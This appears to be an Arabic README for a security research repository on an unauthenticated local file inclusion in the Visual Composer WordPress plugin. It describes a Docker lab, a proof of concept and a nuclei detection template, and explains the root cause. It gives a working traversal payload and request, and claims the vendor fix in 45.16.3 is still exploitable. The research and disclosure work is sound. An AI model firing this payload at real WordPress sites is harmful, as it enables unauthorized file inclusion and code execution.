مختبر تحقق Docker ونموذج إثبات مفهوم آمن لـ CVE-2026-12227، وهو ثغرة LFI غير مصادق عليها في Visual Composer عبر vcv-template، مع قالب كشف nuclei.
مادة بحث أمني لإعادة إنتاج والتحقق من CVE-2026-12227: تضمين ملف محلي غير مصادق عليه في حل قوالب الصفحات الخاص بـ Visual Composer Website Builder (CVSS 3.1 9.8)، بالإضافة إلى تباين موثّق في إصلاح المورّد (انظر أدناه).
locate_template()، من إصلاح CVE-2026-87902) - لم يتم ترقيع كود
الإضافة نفسه حتى 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98استخدمه فقط على الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها. يقوم PoC بإطلاق تضمينات أوراكل غير ضارة (مخرجات
wp-links-opml.php/xmlrpc.phpالجاهزة). لا وضع ملفات، لا كتابة، لا حمولات RCE.
الحالة: مُثبت في المختبر المرفق.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
إثبات على مستوى العلامة (ملف PHP مزروع في uploads/ تم تضمينه وتنفيذه،
عبر GET غير مصادق عليه) هو جزء من أدلة المختبر ويُعاد إنتاجه بواسطة
./lab verify على النسخة المعرّضة.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
يربط template_include عند الأولوية 11 دون أي فحص مصادقة:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
يرفض validate_file() النص الحرفي ... لكن القيمة تُدمج فقط بعد
الفحص، لذا فإن تقسيم كل اجتياز عبر حدود theme: يمرّ منه:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) يعيد
$_POST/$_GET/$_REQUEST الخام، لذا لا شيء في الأعلى ينظّفه أيضاً.
يحلّ locate_template() المرشّح باستخدام file_exists()، الذي يحترم
مقاطع ...
أضاف WordPress 7.1.2 (إصلاح CVE-2026-87902)
_wp_is_template_path_allowed() داخل locate_template()
(wp-includes/template.php). ترفض بوابة النواة هذه المرشّح
المدموج للاجتياز، لذا على WP 7.1.2+ تكون سلسلة الإضافة هذه محجوبة
بواسطة النواة - لم يتم ترقيع الإضافة أبداً. تم التحقق من الإسناد في المختبر: على 7.1.2
لا يزال الحوض يعمل لكنه محصور في دليل القالب؛ على 7.1.1 يهرب.
النتيجة العملية: موقع يشغّل Visual Composer 45.16.3 (الإصدار الحالي، المُعلن كـ مُصلَّح) على WordPress <= 7.1.1 لا يزال معرّضاً لـ LFI غير المصادق عليه اليوم. فقط تحديث نواة WordPress هو ما يحيّده.
المتطلبات: Docker مع Compose v2، Python 3.10+ على المضيف.
./lab verify
يشغّل ثلاثة عناصر تحكم: المعرّض (WP 7.1.1 + VC 45.16.1، يجب أن ينطلق الأوراكل)، المُرقَّع (WP 7.1.2 + VC 45.16.1، يجب أن يبقى الأوراكل صامتاً)، الأحدث (WP 7.1.1 + VC 45.16.3، يجب أن ينطلق الأوراكل - إثبات تباين الإصلاح).
عنصر التحكم المعرّض:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
عنصر التحكم المُرقَّع:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
شغّل PoC يدوياً (الافتراضي هو loopback؛ الأهداف الخارجية المصرّح بها تحتاج إلى تجاوز صريح):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
قالب nuclei (nuclei/cve-2026-12227.yaml) يطلق نفس حمولات الأوراكل
عبر مراسي homepage + page_id بأعماق 3-6 مع
التوقف عند أول تطابق.
| التركيبة | النتيجة |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= كود 45.16.0) | تم إعادة إنتاج LFI (أوراكل + تنفيذ علامة مزروعة) |
| WP 7.1.1 + VC 45.16.3 (الإصدار الحالي) | لا يزال LFI ينطلق |
| WP 7.1.2 + VC 45.16.1 | صامت (محجوب بواسطة بوابة النواة) |
| VC 45.16.2 | تمت مراجعة فرق الإصلاح؛ المسار المعرّض دون تغيير (لم يُشغَّل بشكل منفصل) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
غير مُودَع في المستودع: assets/ (ملفات zip للإضافة)، .lab-state، __pycache__/.
| الادعاء | الحالة |
|---|---|
| LFI غير مصادق عليه لتنفيذ PHP خارج دليل القالب | مُثبت (أوراكل + علامة مزروعة) |
| إصلاح المورّد غائب حتى 45.16.3 | مُثبت (فرق الكود + إطلاق حي على 45.16.3) |
| حجب نواة WP 7.1.2 | مُثبت (نفس الطلب صامت على 7.1.2، ينطلق على 7.1.1) |
| دلالات العمق | 3 مستويات صعوداً إلى docroot من themes//؛ المسح يغطي 3-6 |
| RCE عبر سلاسل pearcmd/write على أهداف حقيقية | لم يُنفَّذ (PoC بأوراكل آمن فقط) |
| 45.16.0 (الإصدار المتأثر الأصلي) | مطابق بالكود لـ 45.16.1؛ ملف zip على wp.org يفتقر إلى vendor/ ولا يمكن تثبيته |
تُدرج الإشعارات الإصلاح على أنه في 45.16.1، لكن مسار الكود
المعرّض دون تغيير في كل إصدار حتى 45.16.3 (تم التحقق عبر فروق الشجرة
والإطلاق الحي). إذا كنت مسؤولاً عن Visual Composer: يحتاج viewPageTemplate()
إلى إعادة التحقق من القيمة (أو رفضها) بعد إزالة theme:، وليس قبلها.
يجب ألا تعتمد المواقع على تحديثات الإضافة في هذه الحالة - تحديث نواة
WordPress 7.1.2 هو ما يغلقها فعلياً.
شغّل هذا المستودع فقط على الأنظمة التي تملكها أو المصرّح لك صراحةً
باختبارها. يرفض مشغّل المختبر المتغيرات غير المعروفة، ويرفض PoC الأهداف
غير الـ loopback ما لم يتم توفير --allow-authorized-non-loopback، ومنفذ Compose
مرتبط بـ 127.0.0.1.
انظر SECURITY.md لمعالجة الإفصاح. لا يتضمن هذا المستودع أهداف إنتاج، أو بيانات عملاء، أو رموز وصول، أو أدلة من أنظمة حقيقية.
MIT - انظر LICENSE.